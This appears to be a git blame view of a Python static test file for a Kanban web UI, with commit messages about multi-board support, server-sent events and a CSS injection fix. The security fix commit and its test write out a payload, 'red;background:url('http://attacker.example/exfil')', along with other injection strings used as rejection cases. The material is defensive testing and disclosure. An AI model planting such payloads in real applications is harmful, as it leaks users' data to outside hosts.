WebSocket poll cadence) so write-to-receive latency is identical.
Heartbeats every 15s prevent proxy/CDN reaping. Hard cap of 200 events
per batch.
Frontend uses EventSource by default and falls back to 30s HTTP polling
after 3 SSE failures. A 250ms debounce coalesces bursts of N events
into a single board re-fetch. Stream is torn down when the user leaves
the Kanban panel.
== Bugs fixed during build ==
(1) read_only=True legacy lie. _board_payload, _events_payload,
_task_log_payload, and the no-change short-circuit all hardcoded
read_only=True from the read-only-bridge era of #1645. Bridge has
been writable since #1649 — flag now matches reality.
(2) Modal + dropdown menu transparent backgrounds. The PR stack used
var(--panel) which is undefined in the WebUI design system (uses
--surface, --bg, gradient panels). Replaced with the same gradient
+ accent border pattern used by the .app-dialog overlay.
(3) Archive race. kb.connect(board=<slug>) auto-materialises the
directory + sqlite on first call, so any in-flight SSE poll on a
board mid-archive would silently un-archive it by re-creating the
directory. Two-layer fix: (a) frontend stops the SSE stream BEFORE
the DELETE call, restarts on failure; (b) bridge's _kanban_sse_fetch_new
checks kb.board_exists() before connect(), returning empty results
when the board is gone.
(4) Save vs. Cancel button visual hierarchy. Both rendered as identical
secondary buttons in the modal. Save now uses the .primary class
with accent-tinted gold styling.
(5) Mobile viewport gaps. Added 9 rules under @media (max-width: 640px)
covering the switcher button (smaller padding/font), name truncation
(max-width:140px), menu sizing (min(280px, 100vw - 24px)), modal
padding, and inline-row stacking.
== Tests ==
+45 new tests across two files. Bridge tests: 18 covering board CRUD
endpoints, slug validation, default-board protection, dispatcher routing,
board isolation (verified via connect() spy), and 3 SSE tests including
a worker-thread integration test with threading.Event watchdog. UI static
tests: 11 covering switcher markup, modal markup, JS handler presence,
REST verb usage, board-param plumbing, localStorage persistence,
showConfirmDialog usage, EventSource subscription, polling fallback,
panel-switch teardown, and 250ms debouncing.
Bridge tests: 18 → 36 (+18 multi-board, +3 SSE)
UI static tests: 15 → 26 (+11)
Total kanban: 33 → 63
Full repo test suite: 4351 passed, 0 regressions.
== Live verification ==
End-to-end browser walkthrough on port 8789:
- Create Sprint 12 + Backlog via modal: switcher updates ✓
- Switch between boards: count isolation correct ✓
- Add task on Sprint 12 via API: SSE delivers in 400ms ✓
- 5-task burst: 250ms debounce coalesces to single render ✓
- Rename board via modal: switcher label updates ✓
- Archive board: confirm dialog → board moved to _archived/, no zombie
directory (race fix verified) ✓
- Zero JS errors throughout 11-step flow
Co-authored-by: ai-ag2026 <ai-ag2026@users.noreply.github.com>
2026-05-05 00:18:36 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
# ── Multi-board switcher UI tests ───────────────────────────────────────────
|
|
|
|
|
|
|
|
|
|
def test_kanban_board_switcher_markup_in_index():
|
|
|
|
|
"""The board switcher next to the Board title must be in index.html so
|
|
|
|
|
it loads on first paint without a JS round-trip."""
|
|
|
|
|
assert 'id="kanbanBoardSwitcher"' in INDEX
|
|
|
|
|
assert 'id="kanbanBoardSwitcherToggle"' in INDEX
|
|
|
|
|
assert 'id="kanbanBoardSwitcherMenu"' in INDEX
|
|
|
|
|
assert 'id="kanbanBoardSwitcherName"' in INDEX
|
|
|
|
|
# Switcher must be hidden by default — only revealed when ≥1 non-default
|
|
|
|
|
# board exists, otherwise it would clutter single-board deployments.
|
|
|
|
|
assert 'id="kanbanBoardSwitcher"' in INDEX
|
|
|
|
|
assert 'hidden>' in INDEX or 'hidden ' in INDEX # presence of hidden attr
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_board_modal_markup_in_index():
|
|
|
|
|
"""The create/rename board modal lives at the bottom of body so the
|
|
|
|
|
fixed-positioned overlay isn't trapped inside any scroll container."""
|
|
|
|
|
for sel in (
|
|
|
|
|
'id="kanbanBoardModal"',
|
|
|
|
|
'id="kanbanBoardModalTitle"',
|
|
|
|
|
'id="kanbanBoardModalName"',
|
|
|
|
|
'id="kanbanBoardModalSlugInput"',
|
|
|
|
|
'id="kanbanBoardModalDesc"',
|
|
|
|
|
'id="kanbanBoardModalIcon"',
|
|
|
|
|
'id="kanbanBoardModalColor"',
|
|
|
|
|
'id="kanbanBoardModalError"',
|
|
|
|
|
'id="kanbanBoardModalSubmit"',
|
|
|
|
|
):
|
|
|
|
|
assert sel in INDEX
|
|
|
|
|
# Modal must be hidden by default
|
|
|
|
|
assert 'id="kanbanBoardModal" hidden' in INDEX
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_board_switcher_handlers_in_panels():
|
|
|
|
|
"""Every UI affordance must have a corresponding JS handler."""
|
|
|
|
|
for fn in (
|
|
|
|
|
"async function loadKanbanBoards",
|
|
|
|
|
"function _renderKanbanBoardMenu",
|
|
|
|
|
"function toggleKanbanBoardMenu",
|
|
|
|
|
"async function switchKanbanBoard",
|
|
|
|
|
"function openKanbanCreateBoard",
|
|
|
|
|
"function openKanbanRenameBoard",
|
|
|
|
|
"function closeKanbanBoardModal",
|
|
|
|
|
"async function submitKanbanBoardModal",
|
|
|
|
|
"async function archiveKanbanBoard",
|
|
|
|
|
):
|
|
|
|
|
assert fn in PANELS, f"Missing handler: {fn}"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_board_switcher_calls_correct_endpoints():
|
|
|
|
|
"""The switcher must hit the right REST verbs to round-trip with the
|
|
|
|
|
bridge's multi-board contract."""
|
|
|
|
|
# GET /boards
|
|
|
|
|
assert "api('/api/kanban/boards'" in PANELS
|
|
|
|
|
# POST /boards (create)
|
|
|
|
|
assert "method: 'POST'" in PANELS
|
|
|
|
|
# POST /boards/<slug>/switch
|
|
|
|
|
assert "/api/kanban/boards/' + encodeURIComponent" in PANELS
|
|
|
|
|
assert "/switch'" in PANELS
|
|
|
|
|
# PATCH /boards/<slug>
|
|
|
|
|
assert "method: 'PATCH'" in PANELS
|
|
|
|
|
# DELETE /boards/<slug>
|
|
|
|
|
assert "method: 'DELETE'" in PANELS
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_board_param_is_plumbed_into_api_calls():
|
|
|
|
|
"""Every existing kanban endpoint call must carry ?board=<slug> when
|
|
|
|
|
a non-default board is active. The shared helper is _kanbanBoardQuery()."""
|
|
|
|
|
assert "_kanbanBoardQuery" in PANELS
|
|
|
|
|
# Spot-check critical call sites
|
|
|
|
|
assert "/api/kanban/board' + (params.toString()" in PANELS # board with filters
|
|
|
|
|
assert "/api/kanban/config' + _kanbanBoardQuery()" in PANELS
|
|
|
|
|
assert "/api/kanban/stats' + _kanbanBoardQuery()" in PANELS
|
|
|
|
|
assert "/api/kanban/assignees' + _kanbanBoardQuery()" in PANELS
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_active_board_persisted_to_localstorage():
|
|
|
|
|
"""The last-viewed board slug must persist to localStorage so a refresh
|
|
|
|
|
keeps the user on the same board."""
|
|
|
|
|
assert "KANBAN_BOARD_LS_KEY" in PANELS
|
|
|
|
|
assert "'hermes-kanban-active-board'" in PANELS
|
|
|
|
|
assert "_kanbanGetSavedBoard" in PANELS
|
|
|
|
|
assert "_kanbanSetSavedBoard" in PANELS
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_archive_board_uses_showConfirmDialog():
|
|
|
|
|
"""Archive is destructive → must use the styled showConfirmDialog,
|
|
|
|
|
not native confirm() (which can't be styled or i18n'd)."""
|
|
|
|
|
# The archive path
|
|
|
|
|
arch_idx = PANELS.find("async function archiveKanbanBoard")
|
|
|
|
|
assert arch_idx > 0
|
|
|
|
|
# Look at the next 800 chars
|
|
|
|
|
archive_block = PANELS[arch_idx:arch_idx + 800]
|
|
|
|
|
assert "showConfirmDialog" in archive_block
|
|
|
|
|
assert "danger: true" in archive_block
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ── SSE event stream UI tests ───────────────────────────────────────────────
|
|
|
|
|
|
|
|
|
|
def test_kanban_sse_eventsource_subscription_is_default():
|
|
|
|
|
"""The Kanban panel must subscribe to /api/kanban/events/stream via
|
|
|
|
|
EventSource as the default live-update mechanism (the multi-board PR
|
|
|
|
|
replaced 30s polling with SSE for ~300ms latency parity with the
|
|
|
|
|
agent dashboard's WebSocket /events). 30s polling remains as the
|
|
|
|
|
auto-fallback after repeated SSE failures."""
|
|
|
|
|
assert "new EventSource" in PANELS
|
|
|
|
|
assert "/api/kanban/events/stream" in PANELS
|
|
|
|
|
assert "_kanbanStartEventStream" in PANELS
|
|
|
|
|
assert "addEventListener('hello'" in PANELS
|
|
|
|
|
assert "addEventListener('events'" in PANELS
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_sse_falls_back_to_polling_on_repeated_failure():
|
|
|
|
|
"""After 3 SSE failures the client must fall back to HTTP polling so
|
|
|
|
|
a flaky connection doesn't leave the user with stale data."""
|
|
|
|
|
assert "_kanbanEventSourceFailures" in PANELS
|
|
|
|
|
assert ">= 3" in PANELS # the failure threshold
|
|
|
|
|
assert "setInterval(refreshKanbanEvents" in PANELS # the fallback
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_sse_torn_down_on_panel_switch():
|
|
|
|
|
"""The long-lived SSE connection must close when the user leaves the
|
|
|
|
|
Kanban panel — leaving it open wastes a server thread and a client
|
|
|
|
|
connection slot."""
|
|
|
|
|
assert "_kanbanStopPolling" in PANELS
|
|
|
|
|
# The teardown must be wired into switchPanel
|
|
|
|
|
assert "prevPanel === 'kanban'" in PANELS
|
|
|
|
|
assert "_kanbanStopPolling()" in PANELS
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_sse_refresh_is_debounced():
|
|
|
|
|
"""A burst of events shouldn't trigger N reloads — must coalesce."""
|
|
|
|
|
assert "_scheduleKanbanRefresh" in PANELS
|
|
|
|
|
assert "_kanbanRefreshScheduled" in PANELS
|
|
|
|
|
# 250ms debounce window
|
|
|
|
|
assert "}, 250)" in PANELS
|
fix(kanban): block CSS injection via board.color into switcher style
`_renderKanbanBoardMenu` interpolates `b.color` into a `style=""`
attribute through `esc()`:
const colorStyle = b.color ? `color:${esc(b.color)}` : '';
return `<button ...><span ... style="${colorStyle}">...`;
`esc()` HTML-escapes (`<`, `>`, `&`, `"`, `'`) which prevents breaking
out of the `style=""` attribute, but does NOT prevent CSS-context
injection inside it. Neither this bridge nor the agent's
`hermes_cli.kanban_db.write_board_metadata` validates `color`, so an
authenticated WebUI user (or anyone writing through the CLI / agent
dashboard) can set:
"color": "red;background:url('http://attacker.example/exfil')"
…and the malicious URL will be fetched whenever any user opens the
board switcher. Verified with a Node harness against the actual
unmodified renderer:
INPUT: "red;background:url('http://attacker.example/exfil')"
OUTPUT: <span ... style="color:red;background:url('http://attacker.example/exfil')">
The single-quote escaping doesn't help — `url(http://x)` works without
quotes — and CSS gives the attacker a useful exfil/probe primitive
(`background-image:url(...)`, `font-family: url(...)`, `@import`).
Frontend-only fix: validate `color` against an allowlist of CSS hex
codes (`#rgb`/`#rrggbb`/`#rrggbbaa`) and short alpha-only color names
(`red`, `blue`, ...) before interpolating. Anything else collapses to
the empty string so the renderer drops the `color:` rule entirely. The
agent dashboard plugin doesn't render board.color today, so this match
intentionally diverges (stricter) from the cross-tool contract — boards
written by the agent CLI with `rgb(...)` / `hsl(...)` colors will just
render uncoloured here, never break.
Server-side validation is intentionally not added in this fix:
- The agent CLI accepts arbitrary `color` strings, so any server-side
rejection here would diverge from the cross-tool contract for inputs
that are well-formed-but-unusual (e.g. `rgb(255,0,0)`).
- The renderer is the trust boundary that actually matters — color
values written by other surfaces (CLI, gateway) flow through the
same bridge and now get safely degraded at render time.
Behavioural harness: 17/17 cases pass (named colors, hex codes accepted;
all CSS-injection shapes including `expression(alert(1))`, `;background:`,
`url(...)`, malformed hex collapse to '').
Tests:
- Added test_kanban_board_color_is_validated_against_css_injection
which drives the helper through Node and asserts both renderer-level
invariants (helper called, raw `esc(b.color)` interpolation removed).
- 64/64 pass in tests/test_kanban_bridge.py + tests/test_kanban_ui_static.py
- Full suite: 4297 passed, 57 skipped, 0 failed.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-05 00:28:32 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_board_color_is_validated_against_css_injection():
|
|
|
|
|
"""`board.color` is interpolated into a `style=""` attribute on the
|
|
|
|
|
switcher icon. esc() escapes HTML but does NOT prevent CSS-context
|
|
|
|
|
injection: an attacker (with WebUI write access, or via the agent CLI
|
|
|
|
|
which doesn't validate either) could set color to
|
|
|
|
|
`red;background:url('http://attacker/exfil')` and have the malicious
|
|
|
|
|
URL fetched whenever any user opens the board switcher.
|
|
|
|
|
|
|
|
|
|
Drive the helper through Node and assert that named colors / hex
|
|
|
|
|
codes are accepted while every CSS-injection shape is rejected.
|
|
|
|
|
"""
|
|
|
|
|
import json
|
|
|
|
|
import subprocess
|
|
|
|
|
script = """
|
|
|
|
|
const fs = require('fs');
|
|
|
|
|
const src = fs.readFileSync('static/panels.js', 'utf8');
|
|
|
|
|
const start = src.indexOf('function _kanbanSafeColor');
|
|
|
|
|
if (start < 0) { console.error('_kanbanSafeColor missing'); process.exit(2); }
|
|
|
|
|
// Grab the function body up to and including the closing `}` line.
|
|
|
|
|
const tail = src.slice(start);
|
|
|
|
|
const end = tail.indexOf('\\n}\\n') + 2;
|
|
|
|
|
const fn = tail.slice(0, end);
|
|
|
|
|
const ctx = {};
|
|
|
|
|
new Function('out', fn + '; out.fn = _kanbanSafeColor;')(ctx);
|
|
|
|
|
const cases = [
|
|
|
|
|
['#fff', '#fff'],
|
|
|
|
|
['#3b82f6', '#3b82f6'],
|
|
|
|
|
['red', 'red'],
|
|
|
|
|
['Blue', 'Blue'],
|
|
|
|
|
// injection attempts must all collapse to '' so the renderer drops
|
|
|
|
|
// the `color:` rule entirely.
|
|
|
|
|
["red;background:url('http://attacker/exfil')", ''],
|
|
|
|
|
['red;background-image:url(http://x)', ''],
|
|
|
|
|
['expression(alert(1))', ''],
|
|
|
|
|
['#zzz', ''],
|
|
|
|
|
['', ''],
|
|
|
|
|
[null, ''],
|
|
|
|
|
[undefined, ''],
|
|
|
|
|
];
|
|
|
|
|
const results = cases.map(([input, expected]) => ({
|
|
|
|
|
input, expected, actual: ctx.fn(input)
|
|
|
|
|
}));
|
|
|
|
|
console.log(JSON.stringify(results));
|
|
|
|
|
"""
|
|
|
|
|
result = subprocess.run(["node", "-e", script], check=True, capture_output=True, text=True)
|
|
|
|
|
results = json.loads(result.stdout)
|
|
|
|
|
failures = [r for r in results if r["actual"] != r["expected"]]
|
|
|
|
|
assert not failures, f"_kanbanSafeColor mismatches: {failures}"
|
|
|
|
|
|
|
|
|
|
# The renderer must call the helper, not pass b.color through esc()
|
|
|
|
|
# directly into the style attribute.
|
|
|
|
|
assert "_kanbanSafeColor(b.color)" in PANELS
|
|
|
|
|
assert "color:${esc(b.color)}" not in PANELS
|